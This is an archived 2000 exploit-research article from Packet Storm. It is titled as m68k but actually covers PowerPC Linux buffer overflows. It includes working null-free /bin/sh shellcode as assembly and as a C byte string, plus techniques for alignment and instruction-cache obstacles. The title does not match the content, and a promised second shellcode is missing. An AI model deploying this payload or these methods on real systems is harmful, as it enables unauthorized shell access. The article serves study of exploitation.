exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

m68koverflows

m68koverflows
Posted Feb 15, 2000
Authored by Lamagra

A little article on m68k buffer overflows + shellcode.

tags | paper, overflow, shellcode
systems | unix
SHA-256 | 016422af06a4b1b382cf3adddd84f9422c208462d1ded6d338ac8ba2a3b63718

m68koverflows

Change Mirror Download
      m68k buffer overflows 
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
by lamagra <lamagra@uglypig.org>

---[ Introduction

I looked into linuxppc overflows because:
1) Nobody had ever done it (that i know of)
2) The crack.linuxppc.org game (i like wargames)

Before i could get started with my research i needed a box to work on,
lockdown (aka bladerhater) gave me access to his linuxppc (Thanks and greets to him).
Next i needed some background and architecture information, i found a huge
architecture guide with a full instruction set included.

Finally i got started with making shellcode.

--[ shellcode

For the shellcode i used the same technique as the x86 shellcode:
jmp - call - pop address - start shell

I had to change this a little because a powerpc doesn't like the stack that much.
(Would be dumb too, with more than 30 registers). So i started coding my asm program.
After 10 min i got myself this working code:

<main>:
7c 00 00 50 subf r0,r0,r0 # r0 = r0 - r0
48 00 00 21 bl 1800404 <main+0x24> # call <main + 0x24>
7c 88 02 a6 mflr r4 # load address
90 9f 00 08 stw r4,8(r31) # store word r4
90 1f 00 0c stw r0,12(r31) # store word r0 (== null)
80 7f 00 08 lwz r3,8(r31) # load address of 8(r31) into r3
38 9f 00 08 addi r4,r31,8 # r4 = r31 + 8
38 00 00 0b li r0,11 # r0 = 11
44 00 00 02 sc # systemcall
4b ff ff e5 bl 18003e8 <main+0x8> # call <main + 0x8>
2f 62 69 6e cmpdi cr6,r2,26990 # /bin
2f 73 68 00 cmpdi cr6,r19,26624 # /sh

But as you can see it has a lot of null's in it, i really didn't like the null's
in the systemcall instruction. After a tip (thanx nuuB), i knew that those null's
were reserved bits. They could be changed into something else without trouble.

Changes:
from -> to
subf r0,r0,r0 xor r30,r30
stw r4,8(r31) stw r4,264(r31)
stw r0,12(r31) stw r30,268(r31)
lwx r4,8(r31) lwz r4,264(r31)
addi r4,r31,8 addi r4,r31,264
sc .long 0x44010102

This leaves the first "bl" and the "li" instruction.

li:
You could write -(the number) into the register and then negate it.
So, lis r30,-1
ori r30,r30,65525 (65525 = 65536 - 11)
nego r0,r30

bl:
There are mutiple ways for getting around this, but size does matter (in this situation :-)
You could easily add some nops in between to make the jump-address bigger
and getting rid of those null's. But that would be taking the easy way out :).
After a conversation about my teensy portbinding shellcode, i realized i could use
<saved framepointer> to give my code its own location (when overwritten with the
same value). Add the code's size to the framepointer (r31) and you have the
address of "/bin/sh".

newbie note:
stack at overflow time:
<saved instruction pointer>
<saved framepointer>
[buffer]
...
end note


All put together gives:

c: 38 9f 01 2d addi r4,r31,301
10: 38 84 fe ff addi r4,r4,-257
14: 7f de f2 78 xor r30,r30,r30
18: 90 81 01 08 stw r4,264(r1)
1c: 93 c1 01 0c stw r30,268(r1)
20: 80 61 01 08 lwz r3,264(r1)
24: 38 81 01 08 addi r4,r1,264
28: 3f c0 ff ff lis r30,-1
2c: 63 de ff f5 ori r30,r30,65525
30: 7c 1e 04 d0 nego r0,r30
34: 44 01 01 02 .long 0x44010102
38: 2f 62 69 6e cmpdi cr6,r2,26990
3c: 2f 73 68 00 cmpdi cr6,r19,26624
*/

#define CODESIZE 51
char ppc_code[] =
"\x38\x9f\x01\x2d\x38\x84\xfe\xff\x7f\xde\xf2\x78\x90\x81\x01\x08\x93\xc1\x01"
"\x0c\x80\x61\x01\x08\x38\x81\x01\x08\x3f\xc0\xff\xff\x63\xde\xff\xf5\x7c\x1e"
"\x04\xd0\x44\x01\x01\x02/bin/sh";

Problems: we use the framepointer so the overflow has to be exact.
We can't use nops or we would have to know the exact length of them
(This would probably be the case since every instruction is 4 bytes,
alignment is *really* important).

At the end of this file, you'll find an other shellcode (coded by nuuB) which
doesn't use the framepointer but is double in size.

---[ Overflow problems

Buffer overflows are exploited the same way as on x86,etc. but:
*note: every problem will be discussed in detail below.

* alignment is more important
* functions have to be used inside the vunerable function
* the location of the <saved instructionpointer>
* "dirty" instruction cache has to be cleaned

-----[ alignment

Every instruction is a multiple of 4 bytes. When we return of a faulty address
the code will most likely cause a SIGILL.

*note:
nop = "\x60\x00\x00\x00".
The null's are reserved as well, one could change them into 0x60 (easy to put in).
*end note

------[ functions

The return address of a function is saved in the link register (lr), when a new function
is called it is saved on the stack for later use. If not, the link register is
used to return (no overwriting possible). The case of this happening is really
small tho.

------[ Where is the damned <saved ip>???

I've noticed that in some situations the distance between <saved ip> and the top
buffer varies. I found a distance of 80 ones, other 40,8.
I haven't looked into this because i doesn't really matter.

------[ Instruction cache

The biggest problem of them all would be the "dirty" i-cache.
The shellcode can't be executed unless the i-cache is cleaned first.
There isn't any cleaning code inside the program we can call/use.

Solutions:
After a user/kernel/user call the cache is clean.
1) You could insert the shellcode before the overflow, after a syscall
the cache would be clean. And it can be executed.
2) Redirect the execution through libc (syscall wrapper)
This can be done by using framepointer and intruction pointer at the
same time: instruction pointer = address of wrapper
framepointer points to a location with the shellcode address
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close